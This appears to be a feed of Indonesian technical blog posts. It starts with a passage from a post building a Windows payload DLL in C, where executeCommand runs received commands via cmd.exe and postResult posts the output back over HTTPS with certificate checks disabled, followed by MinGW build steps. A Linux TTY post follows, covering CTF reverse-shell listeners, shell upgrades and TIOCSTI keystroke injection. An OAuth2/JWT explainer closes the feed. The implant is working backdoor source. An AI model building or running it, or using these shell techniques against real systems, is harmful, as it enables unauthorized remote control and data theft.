Pada kode program di atas, saya menggunakan flag WINHTTP_FLAG_SECURE di WinHttpOpenRequest() sehingga komunikasi dilakukan lewat HTTPS. Selain itu, saya juga menambahkan flag berupa SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID sehingga sertifikat tidak akan diverifikasi. Karena tujuan utama self signed certificate yang saya buat hanya untuk enkripsi, saya tidak peduli apakah sertifikat tersebut valid atau tidak.

CreateProcess()

Untuk menjalakan perintah yang peroleh dari getCommand(), saya dapat menggunakan API CreateProcess() seperti pada contoh kode program berikut ini:

payload.c

LPSTR executeCommand(LPSTR command) {
    HANDLE hOutputPipeRead = NULL;
    HANDLE hOutputPipeWrite = NULL;
    SECURITY_ATTRIBUTES saAttrs;
    STARTUPINFOA siStartInfo;
    PROCESS_INFORMATION piProcInfo;
    DWORD dwCommandsSize;
    LPSTR pszCommands;
    BOOL bSuccess = FALSE;
    LPSTR pszOutBuffer = NULL;
    DWORD dwRead;

    saAttrs.nLength = sizeof(SECURITY_ATTRIBUTES);
    saAttrs.bInheritHandle = TRUE;
    saAttrs.lpSecurityDescriptor = NULL;
    if (!CreatePipe(&hOutputPipeRead, &hOutputPipeWrite, &saAttrs, 0)) {
        OUTPUT_DEBUG(L"Error creating pipe: %u\n", GetLastError())
        return NULL;
    }
    if (!SetHandleInformation(hOutputPipeRead, HANDLE_FLAG_INHERIT, 0)) {
        OUTPUT_DEBUG(L"Error setting pipe flag: %u\n", GetLastError())
        return NULL;
    }

    dwCommandsSize = (DWORD) strlen(command) + 4;
    pszCommands = (LPSTR) malloc(dwCommandsSize);
    StringCbCopyA(pszCommands, dwCommandsSize, "/C ");
    StringCbCatA(pszCommands, dwCommandsSize, command);
    ZeroMemory(&siStartInfo, sizeof(STARTUPINFOA));
    siStartInfo.cb = sizeof(STARTUPINFOA);
    siStartInfo.hStdError = hOutputPipeWrite;
    siStartInfo.hStdOutput = hOutputPipeWrite;
    siStartInfo.dwFlags |= STARTF_USESTDHANDLES;
    ZeroMemory(&piProcInfo, sizeof(piProcInfo));
    bSuccess = CreateProcessA("C:\\Windows\\System32\\cmd.exe", pszCommands, NULL, NULL, TRUE, 0, NULL, NULL,
                              &siStartInfo, &piProcInfo);
    if (!bSuccess) {
        OUTPUT_DEBUG(L"Error creating process: %u\n", GetLastError())
        return NULL;
    }
    WaitForSingleObject(piProcInfo.hProcess, 60000);
    CloseHandle(piProcInfo.hProcess);
    CloseHandle(piProcInfo.hThread);
    CloseHandle(hOutputPipeWrite);

    pszOutBuffer = (LPSTR) malloc(10240);
    ZeroMemory(pszOutBuffer, 10240);
    bSuccess = ReadFile(hOutputPipeRead, pszOutBuffer, 10240, &dwRead, NULL);
    if (!bSuccess) {
        OUTPUT_DEBUG(L"Failed to read from pipe: %u\n", GetLastError())
        return NULL;
    }
    CloseHandle(hOutputPipeRead);
    return pszOutBuffer;
}

Pada kode program di atas, saya membuat anonymous pipe hOutputPipeRead dan hOutputPipeWrite untuk menampung hasil eksekusi perintah. Saya akan melewatkan hStdOutput dan hStdError dari proses cmd.exe ke anonymous pipe tersebut seperti yang terlihat pada kode program berikut ini:

payload.c

...
siStartInfo.cb = sizeof(STARTUPINFOA);
siStartInfo.hStdError = hOutputPipeWrite;
siStartInfo.hStdOutput = hOutputPipeWrite;
siStartInfo.dwFlags |= STARTF_USESTDHANDLES;
...

Pada saat API CreateProcess() dipanggil, kode program akan langsung lanjut ke baris berikutnya sementara proses cmd.exe berjalan di proses baru. Oleh sebab itu, bila ingin menangkap hasil eksekusi cmd.exe, saya perlu menunggu hingga proses cmd.exe selesai terlebih dahulu. Sebagai contoh, pada kode program di atas, saya menunggu proses baru selesai dengan batas waktu hingga maksimal 1 menit dengan WaitForSingleObject() seperti yang terlihat pada kode program berikut ini:

payload.c

...
WaitForSingleObject(piProcInfo.hProcess, 60000);
...

POST Request

Setelah mendapatkan output dari cmd.exe, saya tinggal mengirim output tersebut lewat POST request seperti yang terlihat pada kode program berikut ini:

payload.c

VOID postResult(LPSTR result, DWORD resultLen) {
    BOOL bResults = FALSE;
    DWORD dwWritten = 0;

    HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L"/dry", NULL, WINHTTP_NO_REFERER,
                                            WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
    if (hRequest) {
        bResults = WinHttpSetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, &dwSkipVerifyFlags,
                                    sizeof(dwSkipVerifyFlags));
    }
    if (bResults) {
        bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, NULL, 0, resultLen, 0);
    }
    if (bResults) {
        bResults = WinHttpWriteData(hRequest, result, resultLen, &dwWritten);
    }
    if (!bResults) {
        OUTPUT_DEBUG(L"Error getting command: %u\n", GetLastError())
    }
    if (hRequest) {
        WinHttpCloseHandle(hRequest);
    }
}

Kode program di atas tidak jauh berbeda dengan GET request, hanya saja kali ini saya menambahkan WinHttpWriteData() untuk mengirim request data dari POST request tersebut.

Build

Untuk menghasilkan DLL berdasarkan kode program di atas, saya bisa menggunakan Visual Studio C++. Selain itu, bila bekerja dari Linux, saya juga dapat memanfaatkan cross-platform compiler seperti MingGW yang dapat di-install dengan perintah berikut ini:

Terminal window

$ sudo apt install mingw-w64

Setelah itu, saya bisa menghasilkan DLL dengan perintah:

Terminal window

$ x86_64-w64-mingw32-gcc payload.c -shared -lwinhttp -o payload.dll

Cara Kerja TTY Di Linux

Mon, 21 Oct 2024 00:00:00 GMT

TTY adalah istilah yang sering diasosiasikan dengan terminal di Linux. Sebenarnya apa itu TTY? Secara harfiah, TTY adalah singkatan dari Teletype yang merupakan jenis perangkat keras untuk komunikasi. Namun, karena perangkat terminal fisik jarang dipakai di PC, TTY kini adalah perangkat teletype semu (virtual teletype). Pada tulisan ini, saya akan mencoba mencari tahu definisi TTY, PTY, stty dan sebagainya.

Virtual Terminal (TTY)

Untuk melihat perangkat virtual terminal yang ada di Linux, saya dapat menggunakan perintah ls /dev/tty[0-9]*. Walaupun hasilnya akan ada 64 perangkat virtual terminal yang ditemukan dengan nama seperti tty0, tty1, tty2 hingga tty63, saya tidak bisa memakai semuanya. Pada sistem operasi Ubuntu Desktop, saya bisa berpindah ke virtual terminal lain dengan menggunakan kombinasi seperti CTRL + ALT + F1. Saya dapat mengganti F1 dengan F1 hingga F12 untuk mengakses perangkat virtual terminal yang disiapkan oleh Linux.

Virtual terminal pertama yang diakses dengan F1 dipakai untuk layar login. Virtual terminal kedua yang diakses dengan F2 adalah desktop yang saya pakai sehari-hari. Sisanya, F3 hingga F6 adalah virtual terminal yang berisi login shell. Mereka dikelola oleh getty yang akan menampilkan prompt tekstual untuk login saat diakses.

Lalu bagaimana dengan F7 hingga F12? Walaupun virtual terminal tersebut siap dipakai, tetapi karena tidak ada program yang dihubungkan dengan mereka, saya hanya menemukan layar kosong saat membuka virtual terminal tersebut.

Untuk melihat virtual terminal yang sedang aktif, saya dapat menggunakan perintah tty seperti berikut ini:

Terminal window

$ tty

# Output:
#
# /dev/tty3

Selain berpindah virtual terminal dengan shortcut, saya juga dapat menggunakan perintah chvt. Sebagai contoh, untuk mengakses terminal 3, saya dapat menggunakan perintah seperti berikut ini:

Terminal window

$ sudo chvt 3

Saya dapat berinteraksi dengan virtual terminal melalui redirection ke nama perangkatnya, misalnya, untuk mengirim hasil dari perintah top ke terminal 10, saya dapat menggunakan perintah seperti berikut ini:

Terminal window

$ sudo bash -c "top > /dev/tty10"

Setelah menjalankan perintah di atas, bila saya berpindah ke terminal 10 dengan CTRL + ALT + F10, saya akan menemukan hasil perintah top di virtual terminal tersebut.

Pseudoterminal (PTY)

Pseudoterminal hampir sama seperti virtual terminal tetapi cakupannya lebih sempit dimana ia hanya berlaku untuk proses (aplikasi) yang membuatnya. Sistem operasi dapat membuat banyak pseudoterminal sekaligus di virtual terminal yang sedang aktif. Sebagai contoh, bila saya membuka sebuah aplikasi terminal (aplikasi yang dipakai untuk memberikan perintah shell) di Ubuntu Desktop, ia akan mendapatkan sebuah pseudoterminal seperti yang diperlihatkan perintah berikut ini:

Terminal window

$ tty

# Output:
#
# /dev/pts/1

Bila saya membuka aplikasi terminal baru tanpa menutup yang sudah ada, nilai tty akan berbeda lagi:

Terminal window

$ tty

# Output:
#
# /dev/pts/2

Sama seperti pada virtual terminal, saya dapat menggunakan redirection untuk berinteraksi dengan pseudoterminal. Sebagai contoh, untuk menulis ke aplikasi terminal yang pertama, saya dapat memberikan perintah:

Terminal window

$ echo "mengetik jarak jauh ke terminal pertama" > /dev/pts/1

Pseudoterminal di Ubuntu menggunakan arsitektur UNIX 98. Pada arsitektur ini, setiap proses yang ingin membuat pseudoterminal perlu menggunakan /dev/ptmx (master clone device) dimana ia kemudian bisa mendapatkan slave device (seperti /dev/pts/1 dan /dev/pts/2) untuk berinteraksi dengan pseudoterminal tersebut.

Pseudoterminal biasanya dipakai oleh aplikasi seperti sshd dan telnet dimana beberapa pengguna bisa login secara bersamaan dan masing-masing pengguna akan memiliki terminal pribadi mereka yang terpisah. Untuk mensimulasikannya, saya bisa menjalankan kode program Python seperti berikut ini:

Terminal window

$ tty

# Output:
#
# /dev/pts/0

$ python3 -c "import pty; pty.fork()"

$ tty

# Output:
#
# /dev/pts/1

Kode program pty.fork() di atas akan men-fork shell yang sedang aktif namun dengan pseudoterminal yang berbeda. Hal ini bisa terlihat dari hasil perintah tty yang kini berbeda dengan sebelum perintah tersebut dijalankan.

Pada sesi CTF yang mensimulasikan aktifitas hacking, saya sering kali perlu mendapatkan reverse shell berdasarkan pipe. Setelah mesin target berhasil melakukan koneksi, saya dapat dapat memberikan perintah di nc seolah-olah saya sudah mendapatkan shell melalui SSH. Namun, pada kondisi seperti ini, tidak ada pseudoterminal yang diasosiasikan pada shell tidak resmi tersebut. Hal ini terlihat pada output tty seperti berikut ini:

Terminal window

$ nc -lnvp 9001
Connection received on 10.10.10.10 56789
$ tty

# Output:
#
# not a tty
#

Tanpa terminal, beberapa perintah seperti sudo dan top akan gagal dijalankan. Sebagai solusi-nya, saya bisa menggunakan pty.spawn("bash") untuk menjalankan shell Bash yang sudah dilengkapi dengan pseudoterminal baru seperti yang terlihat pada perintah berikut ini:

Terminal window

$ nc -lnvp 9001
Connection received on 10.10.10.10 56789
$ tty

# Output:
# not a tty
#

$ python3 -c "import pty; pty.spawn('bash')"

user@server:~$ tty

# Output:
#
# tty
# /dev/pts/0

Bagaimana bila tidak ada Python di mesin tujuan? Saya juga dapat menggunakan script yang merupakan perintah bawaan Linux. Tujuan utama dari perintah ini adalah merekam aktifitas terminal ke sebuah file untuk diputar ulang. Namun, karena perintah script memberikan pseudoterminal ke proses shell saat ini sama seperti pada pty.spawn() di kode program Python di atas, saya bisa memanfaatkannya seperti pada contoh berikut ini:

Terminal window

$ nc -lnvp 9001
Connection received on 10.10.10.10 56789
$ tty

# Output:
# not a tty
#

$ script -E never /dev/null

# Output:
# Script started, output log file is '/dev/null'.
#

user@server:~$ tty

# Output:
#
# /dev/pts/0
#

stty

stty adalah aplikasi yang dapat dipakai untuk melakukan pengaturan pada terminal baik bahwa terminal nyata, virtual terminal maupun pseudoterminal. Saya dapat menggunakan perintah stty -a untuk melihat seluruh konfigurasi yang sedang aktif. Untuk hasil lebih spesifik, saya dapat langsung melewatkan opsi yang ingin dicari ke stty. Sebagai contoh, untuk melihat ukuran terminal (dalam jumlah karakter), saya dapat memberikan perintah berikut ini:

Terminal window

$ stty size

# Output:
# 24 80

Pada perintah di atas, terlihat bahwa ukuran terminal saat ini adalah 24 karakter per baris dan 80 karakter per kolom. Bila saat menggunakan pty.spawn(), pseudoterminal baru untuk shell ternyata memiliki ukuran yang berbeda, saya dapat mengubahnya menjadi sesuai dengan nilai di atas dengan memberikan perintah:

Terminal window

$ stty rows 24 columns 80

Saya juga dapat mengatur terminal yang berbeda (bukan yang sedang aktif saat ini) dengan menggunakan argumen -F. Sebagai contoh, pada reverse shell saat ini, tombol seperti ↑ dan ↓ untuk riwayat perintah serta tombol TAB ⭾ untuk completion tidak bekerja sama sekali. Selain itu, bila saya menekan tombol Ctrl+C, saya akan langsung keluar dari nc. Untuk mengatasinya, saya perlu mengatifkan modus raw di terminal lokal yang menjalankan nc. Sebagai contoh, bila reverse shell dibuat dengan perintah berikut ini:

Terminal window

$ tty

# Output:
#
# /dev/pts/2
#

$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 10.10.10.10 56789
$ python3 -c "import pty; pty.spawn('bash')"
user@server:~$ tty

# Output:
# tty
# /dev/pts/0
#

maka, pada komputer lokal, saya dapat membuka sebuah terminal baru dan memberikan perintah berikut ini:

Terminal window

$ stty -F /dev/pts/2 raw -echo

Setelah itu, kembali ke pseudoterminal di server, saya memberikan perintah berikut ini:

Terminal window

$ reset

Sekarang, pseudoterminal akan mendeteksi tombol panah, tab dan kombinasi tombol spesial lainnya sama seperti pada koneksi SSH. Selain itu, penggunaan -echo juga akan menghilangkan output dari apa yang saya ketik di terminal sehingga tidak lagi terjadi duplikasi.

ioctl

stty akan menggunakan ioctl untuk beberapa operasinya. Sebagai contoh, untuk mensimulasikan stty size yang menampilkan ukuran terminal, saya dapat langsung memanggil ioctl dengan melewatkan TIOCGWINSZ sebagai request code seperti pada kode program berikut ini:

import fcntl
import struct
import sys
import termios


def main():
    s = struct.pack('HH', 0, 0)
    t = fcntl.ioctl(sys.stdout.fileno(), termios.TIOCGWINSZ, s)
    print(struct.unpack('HH', t))

Contoh lainnya, saya dapat menggunakan TIOCSTI untuk mengirim input ke sebuah terminal seolah-olah ada yang sedang mengetik di terminal tersebut dengan kode program seperti berikut ini:

import fcntl
import os
import termios


def main():
    pts = os.open("/dev/pts/0", os.O_RDWR)
    s = "whoami\n"
    for c in s:
        fcntl.ioctl(pts, termios.TIOCSTI, c)

Kode program di atas perlu dijalankan sebagai root. Setelah dijalankan pada terminal berbeda, maka terminal pertama (dengan PTS 0) akan menjalankan perintah whoami seolah-olah ada yang mengetik perintah tersebut.

Cara Kerja Stateless Authentication Dengan OAuth2 dan JWT

Mon, 07 Oct 2024 00:00:00 GMT

Pada suatu hari, saya menghabiskan waktu berjam-jam untuk membahas stateless authentication dengan seorang security senior. Senior tersebut mempertanyakan keamanan proses verifikasi JWT setelah diterima oleh service di back end. Ia membandingkan OAuth2 dengan ticket di Kerberos dimana ticket yang diterima perlu diverifikasi oleh service lain melalui melalui komunikasi jaringan. Saya berusaha menyakinkan padanya bahwa setelah JWT diterima oleh service, masing-masing service dapat melakukan verifikasi sendiri secara lokal tanpa perlu memanggil service lain (seperti user service, auth service, dsb). Bukan saja trust boundary menjadi lebih singkat (sehingga lebih aman karena proses verifikasi di lokal), verifikasi ini tidak akan memberatkan server lain karena akan terdistribusi di masing-masing micro services. Untuk menghindari diskusi seperti ini di kemudian hari, saya akan membuat sebuah artikel interaktif pada halaman ini untuk men-simulasi-kan cara kerja OAuth2 dan JWT.

Authentication

OAuth2 lebih berfokus pada authorization. Ia memiliki konsep access token yang didalamnya mengandung scope yang berisi indikator API mana saja yang boleh dipanggil melalui access token tersebut. Namun, OAuth2 tidak mensyaratkan bagaimana user harus login. OpenID Connect (OIDC) adalah ekstensi dari OAuth2 yang menambahkan bagian authentication. Dengan OIDC, pengguna bisa login dengan akun sosial seperti Google & Meta.

Saya tidak akan berfokus pada authentication pada tulisan ini. Sebagai latihan, saya sudah membuat user berikut ini:

Email user1@jocki.me dengan password Password123 dengan role user.
Email admin@jocki.me dengan password Password123 dengan role admin.

Mendapatkan Token

Sebelum memperoleh token seperti JWT, langkah pertama dalam OAuth2 adalah mendapatkan authorization grant terlebih dahulu. Spesifikasi OAuth2 memberikan 4 pilihan untuk authorization grant:

Authorization Code
Implicit
Resource Owner Password Credential
Client Credential

Metode yang paling umum dipakai untuk aplikasi web & mobile adalah authorization code dimana Resource Owner akan mengembalikan sebuah kode sementara yang harus segera ditukar dengan access token. Dengan demikian, username & password dari Resource Owner (misalnya password akun Google yang dipakai untuk login) tidak akan pernah dikirim ke Authorization Server.

Sebagai contoh implementasi, tombol berikut ini akan men-redirect ke halaman milik Authorization Server (yang kemudian akan mengarahkan ke akun sosial untuk login bila perlu):

Klik tombol di atas dan perhatikan URL saat halaman login muncul. Apakah domain-nya sama?
Jawaban:
Tidak sama! Pada OAuth2, halaman tersebut milik entitas yang disebut sebagai Authorization Server dan halaman blog ini disebut sebagai Client. Pada contoh yang lebih realistis, Authorization Server bisa saja memakai domain yang sama namun dengan subdomain yang berbeda.
Setelah login berhasil, pengguna akan kembali ke halaman ini. Tapi ada yang berbeda, apa itu?
Jawaban:
Pada URL setelah login berhasil, terdapat request parameter seperti code dan state. Sebelumnya, parameter ini tidak ada.
Coba login dengan menggunakan akun Google. Bila sudah berhasil login dengan email & password, gunakan tombol Paksa Login Kembali.

Bila proses login berhasil, saya akan kembali ke halaman ini dan mendapatkan parameter code dalam bentuk parameter URL. Authorization code hanya bisa dipakai sekali saja. Setelah menukar authorization code dengan access token, authorization code yang sama tidak bisa digunakan lagi sehingga tombol login di atas harus kembali ditekan untuk mendapatkan authorization code baru.

Authorization Code:

State

HTTP Status:

Access Token:

ID Token:

Pastikan bahwa Authorization Code di atas sudah terisi. Bila belum, refresh halaman dan/atau login kembali. Kemudian, klik tombol Tukar Authorization Code Dengan Token. Authorization Server akan mengembalikan access token dan *ID
Setelah berhasil mendapatkan token, klik kembali tombol Tukar Authorization Code Dengan Token. Apakah proses penukaran berhasil?
Jawaban:
Tidak! Authorization code hanya bisa dipakai sekali saja untuk mencegah replay attack.
Apa fungsi State?
Jawaban:
State bisa dipakai untuk mencegah CSRF. Bila hacker membuat website berbahaya yang memanggil Authorization Server yang saya gunakan untuk mendapatkan access token pengguna (dengan memancing pengguna login di website tersebut). Tanpa nilai state, website saya tidak akan bisa mengenali apakah request seperti ini dari website yang seharusnya atau bukan.

Bila proses penukaran berhasil, saya akan memperoleh access token dan ID token.

ID token adalah bawaan dari spesifikasi dari OIDC dimana aplikasi bisa mendapatkan informasi seperti foto profil, email, nama lengkap, dan sebagainya dari akun sosial yang dipakai oleh pengguna (bila login melalui akun sosial seperti Google, Meta, dan sebagainya). Sementara itu, access token adalah token yang perlu dilewatkan ke back end saat memakai API.

Konsumen dari ID token adalah aplikasi web. Biasanya informasi yang ada di ID token dipakai untuk menampilkan foto pengguna di halaman user, nama lengkap, email dan sebagainya. Informasi ini tidak ada di database back end bila pengguna baru pertama kali login dengan akun sosial. ID token tidak perlu dilewatkan ke API back end.

Sebagai contoh, berikut ini contoh tampilan profil berdasarkan ID token yang diterima:

Tidak ada information yang ditampilkan karena belum login!

Nama Lengkap

email@domain.com

Coba login kembali dengan menggunakan akun Google dan ulangi langkah penukaran authorization code di atas. Foto profil, email dan nama akun Google akan muncul tampilan profil di atas. Dimanakah data tersebut disimpan?
Jawaban:
Informasi yang diperoleh dari akun Google akan disimpan di ID token. Apa yang di-izinkan oleh pengguna, seperti melihat data pribadi dan foto profil, tertuang di ID token. Programmer tidak bisa menggunakan cara lain (misalnya memanggil API di server Google secara langsung untuk mendapatkan lebih banyak informasi) selain dengan mengarahkan pengguna untuk kembali login dan meminta izin pengguna.

Konsumen dari access token adalah API yang ada di back end. Berkebalikan dengan ID token, acess token cukup disimpan oleh aplikasi web untuk kemudian dikirim melalui header Authorization setiap kali memanggil API.

Selain itu, pada saat meminta authorization code, bila saya menambahkan scope dengan nama offline_access, saya akan mendapatkan satu jenis token lagi yang disebut sebagai refresh token. Penggunaan refresh token tidak direkomendasikan untuk aplikasi web. Ia lebih sering dipakai di aplikasi mobile dimana token bisa disimpan secara aman dalam jangka waktu panjang.

Menyimpan Token

Pada aplikasi lama sebelum era OAUth2, server perlu menyimpan authentication dalam bentuk session. Misalnya di PHP, saya perlu menggunakan session_start() untuk mengawali session. Variabel sebagai penanda bahwa pengguna sudah login akan disimpan di sisi server sebagai bagian dari session. PHP juga akan menambahkan cookie pada halaman sehingga halaman tersebut dianggap sebagai bagian dari session yang sama.

Pada OAuth2, prosesnya sangat berbeda! Access token adalah authentication-nya itu sendiri. Back end tidak perlu menyimpan session sama sekali. Setiap kali back end memproses API, bila ada access token yang valid, maka API boleh dipanggil. Dengan demikian, dari sisi back end akan lebih sederhana karena access token yang dihasilkan tidak perlu dikelola oleh server. Ini yang disebut juga sebagai stateless authentication.

Pada halaman ini, access token hanya disimpan di memori tanpa disimpan ke local storage atau cookie. Ini cara yang paling aman karena access token yang berada di local storage dan cookie (selain Http-Cookie) bisa dicuri bila terdapat celah keamanan XSS. Namun, cara ini tidak selalu ideal karena setiap kali halaman di-refresh, proses mendapatkan access token harus kembali diulangi dari awal.

Untuk membuktikan bahwa access token tidak disimpan di cookie, coba buka developer tools (F12) dan cari apakah ada cookie, local storage, atau session storage yang mengandung access token. Apakah ketemu?
Jawaban:
Tidak! Saya menyimpan access token dan id token dalam bentuk variabel global di JavaScript. Nilai variabel ini akan hilang begitu halaman di-refresh. Oleh sebab itu, saya perlu mengulangi seluruh langkah di atas setiap kali halaman di-muat ulang. Karena Auth0 menyimpan session pengguna, tidak perlu ada halaman login bila pengguna sudah pernah login sebelumnya sehingga proses meminta ulang access token ini bisa terjadi secara transparan tanpa campur tangan pengguna.
Apakah dengan tidak menyimpan access token di cookie maka aplikasi 100% aman dari XSS?
Jawaban:
Tidak ada yang 100% aman di security! Cookie sering menjadi target karena mudah di-list. Kode program JavaScript yang di-inject oleh adversary tetap dapat melakukan apa saja sama seperti kode program JavaScript resmi milik web, termasuk mengakses variabel access token bila tahu namanya.

Verifikasi JWT

JSON Web Token (JWT) pada dasarnya adalah sebuah JSON yang isi-nya di-encode dengan base64. JWT terdiri atas 3 bagian yang dipisahkan oleh tanda titik. JWT pada umumnya tidak di-enkripsi (kecuali pada token khusus seperti JWE yang diluar topik pembahasan). Nilai hasil base64 encoded yang terlihat acak sebenarnya bisa dilihat oleh siapa saja. Sebagai contoh, berikut ini adalah hasil access token yang sudah di-decode:

Saya juga dapat melihat hasil yang lebih indah dengan menggunakan website https://jwt.io/.

Bagian pertama dari JWT disebut sebagai JOSE (JSON Object Signing and Encryption) header. Ini adalah sebuah objek JSON yang memiliki property seperti:

typ yang menunjukkan jenis token seperti at+jwt untuk access token atau hanya JWT saja.
alg yang menunjukkan algoritma yang dipakai untuk signing (untuk JWS) dan encryption (untuk JWE). Nilai-nya bisa berupa none untuk JWT yang tidak di-enkripsi (JWE) dan juga tidak di-sign (JWS).

Bagian kedua adalah isi dari JWT yang disebut sebagai JWT claims. Beberapa nama JWT claim yang terdaftar adalah:

iss (Issuer) yang menunjukkan penerbit JWT (Authorization Server).
sub (Subject) yang mengidentifikasi pengguna yang login (bisa berupa user id dan sejenisnya).
aud (Audience) menunjukkan target API yang boleh dipakai untuk token ini. Back end harus menolak token bila nilai audience-nya tidak tepat (bukan untuk back end tersebut).
exp (Expiration Time) menunjukkan waktu kadaluarsa. Back end harus menolak JWT yang sudah kadaluarsa.
iat (Issued At) menunjukkan waktu saat JWT dibuat. Back end harus menolak JWT bila nilai ini di masa depan.
jti (JWT ID) adalah pengenal unik khusus untuk JWT ini.

Selain claim di atas, Authorization Server boleh saja menambahkan custom claim di JWT. Sebagai contoh, pada contoh di atas, terdapat tambahkan claim non-standard dengan nama permissions yang isinya seperti berikut ini:

...
permissions: [
  "read:blogs",
  "delete:blogs",
]
...

Saya dapat mengatur permission yang dicantumkan di JWT berdasarkan user dan role di dashboard Auth0 seperti yang terlihat pada gambar berikut ini:

Bagian terakhir dari JWT adalah digital signature. Ini bukan dalam bentuk JSON melainkan nilai binary yang dikalkulasi dengan cara seperti berikut ini:

SIGNATURE = ALGORITMA(BAGIAN PERTAMA + '.' + BAGIAN KEDUA, PRIVATE KEY)

Pada saat melakukan enkripsi, apakah jenis key yang dipakai untuk men-encrypt data?
Jawaban:
Public key! Pada enkripsi, data di-encrypt dengan menggunakan public key. Hanya pemilik private key-nya saja yang bisa men-decrypt data tersebut nanti.
Pada saat membuat digital signature, apakah jenis key yang dipakai untuk men-sign data?
Jawaban:
Private key! Pada digital signature, data di-sign dengan menggunakan private key yang hanya dipegang oleh pembuat data. Public key-nya dibagikan ke publik sehingga siapa saja bisa melakukan verifikasi bahwa data ini memang benar dibuat oleh dirinya.
Pada JWT secara umum, apakah proses yang dilakukan: enkripsi atau digital signature?
Jawaban:
Digital signature! JWT memastikan bahwa dirinya tidak bisa di-modifikasi atau di-tiru, tapi isi datanya bisa dilihat siapa saja.

Sebagai latihan, saya akan mensimulasikan back end yang melakukan verifikasi JWT dengan algoritma RS256 (RSA dengan SHA-256). Karena men-deploy sebuah server membutuhkan biaya, saya akan melakukan proses verifikasi ini dari JavaScript dengan bantuan Web Crypto API.Yup, browser modern sekarang sudah dilengkapi API untuk operasi cryptography!

Proses verifikasi bisa saya lakukan secara offline tanpa harus menghubungi Authentication Server. Namun sebelumnya, saya terlebih dahulu harus mendapatkan public key yang menjadi pasangan private key yang dipakai untuk men-sign JWT. Karena public key jarang berubah (selain karena kadaluarsa atau dirotasi secara paksa), ini bukan sesuatu yang harus dilakukan setiap API dipanggil!

Standar JSON Web Key (JWK) dan JSON Web Key Set (JWKS) umum dipakai untuk mempublikasikan key dalam bentuk JSON sehingga lebih mudah dikonsumsi oleh back end (lewat kode program). Sebagai contoh, pada Authorization Server yang saya pakai, JWKS dapat diperoleh dengan membuka https://dev-0nhqm15bupw57vxv.us.auth0.com/.well-known/jwks.json.

Apa perbedaan antara JWKS dan JWK?
Jawaban:
JWKS terdiri atas satu atau lebih JWK dalam bentuk property keys yang merupakan sebuah array. JWKS dipakai karena pada kasus tertentu, misalnya peralihan saat rotasi sertifikat, key lama (untuk JWT lama yang belum expired setelah rotasi) dan key baru (untuk JWT baru setelah rotasi) dipakai secara bersamaan.
Apakah yang didukung oleh Web Crypto API di browser? JWKS atau JWK?
Jawaban:
JWK! importKey() mendukung objek JSON dalam format JWK. Namun, melakukan konversi JWKS ke JWK sangat mudah, misalnya dapat dilakukan dengan kode program seperti jwks.keys[0].
Kenapa Authorization Server disarankan untuk mempublikasikan JWKS lewat URL .well-known?
Jawaban:
Supaya library yang melakukan verifikasi JWT bisa mencari public key yang dibutuhkan secara otomatis. Rotasi public key juga bisa berlangsung secara otomatis tanpa harus ada perubahan di masing-masing back end karena mereka sudah tahu dimana public key yang baru.

Sekarang, saya siap untuk mensimulasikan verifikasi JWT. Salin isi JWT yang diperoleh dari pertukaran dengan authorization code pada input dibawah ini dan klik tombol Execute untuk memeriksa apakah verifikasinya sukses atau gagal:

Method

Path

JWT di-sign oleh saya

JWT belum kadaluarsa

Untuk melakukan verifikasi digital signature JWT di JavaScript lewat Web Crypto API, saya menggunakan kode program seperti berikut ini:

const parts = jwtInput.split('.');
if (parts.length !== 3) {
   addError('Format JWT salah!');
   return;
}
const header = JSON.parse(decoder.decode(decode(parts[0])));
if (header.alg !== 'RS256') {
   addError(`Backend hanya mendukung RS256 namun ketemu ${header.alg}`);
   return;
}
const payload = JSON.parse(decoder.decode(decode(parts[1])));
const signature = decode(parts[2]);
const dataToVerify = encoder.encode(parts[0] + '.' + parts[1]);
const publicKey = await crypto.subtle.importKey('jwk', jwks.keys[0], {
   name: 'RSASSA-PKCS1-v1_5',
   hash: { name: 'SHA-256' }
}, false, ['verify']);
const verified = await crypto.subtle.verify(
   {name: 'RSASSA-PKCS1-v1_5'},
   publicKey,
   signature,
   dataToVerify,
);

Nilai verified akan bernilai true bila public key dan private key-nya cocok dan false bila tidak sesuai. Nilai false menunjukkan ada yang tidak beres dengan JWT ini (misalnya JWT palsu) sehingga isi JWT tidak boleh diteruskan untuk dipakai.

Coba login dengan menggunakan user user1@jocki.me dan jalankan request DELETE /blogs/1. Apakah request bisa dikerjakan?
Jawaban:
Request akan ditolak oleh back end karena nilai permissions di JWT tersebut tidak mengandung delete:blogs yang dibutuhkan oleh API.
Coba copy paste JWT dari Authorization Server lain (aplikasi lain yang memakai OAuth2). Apakah request bisa dikerjakan?
Jawaban:
Request akan ditolak karena JWT tersebut tidak di-sign oleh Authorization Server yang saya pakai. Function verify() akan mengembalikan nilai false bila public key tidak cocok dengan private key.
Apakah proses verifikasi ini perlu menghubungi Authentication Server atau server lain tertentu?
Jawaban:
Tidak! Proses verifikasi dilakukan secara offline karena berdasarkan algoritma cryptography, bukan dengan memeriksa database dan sebagainya.

Untuk menghapus session yang sedang aktif, saya dapat memanggil endpoint /oidc/logout dengan menyertakan ID token seperti yang dilakukan pada aksi berikut ini:

Walaupun session dihapus, access token sebenarnya masih aktif dan tetap dapat dipakai untuk memanggil API selama nilai exp-nya masih belum tiba. Oleh sebab itu, access token sebaiknya memiliki masa waktu yang singkat dan diperbaharui secara periodik.

Arsitektur

OAuth2 dan JWT akan terasa bermanfaat saat dipakai pada arsitektur microservices. Keuntungan melewatkan JWT ke masing-masing service yang dipanggil adalah:

Masing-masing service melakukan validasi JWT sendiri tanpa perlu memanggil sebuah service sentral seperti user service. Hal ini mengurangi single point of failure (SPOF) yang dapat terjadi bila user service rusak.
Membuat pola komunikasi menjadi lebih sederhana karena service tidak perlu memanggil REST API ke user service untuk mendapatkan informasi user pemanggil. Informasi yang dibutuhkan sudah ada di JWT. Saat service A akan memanggil service B, dengan melewatkan JWT dari service A ke service B, maka service B secara tidak langsung akan memperoleh informasi user.
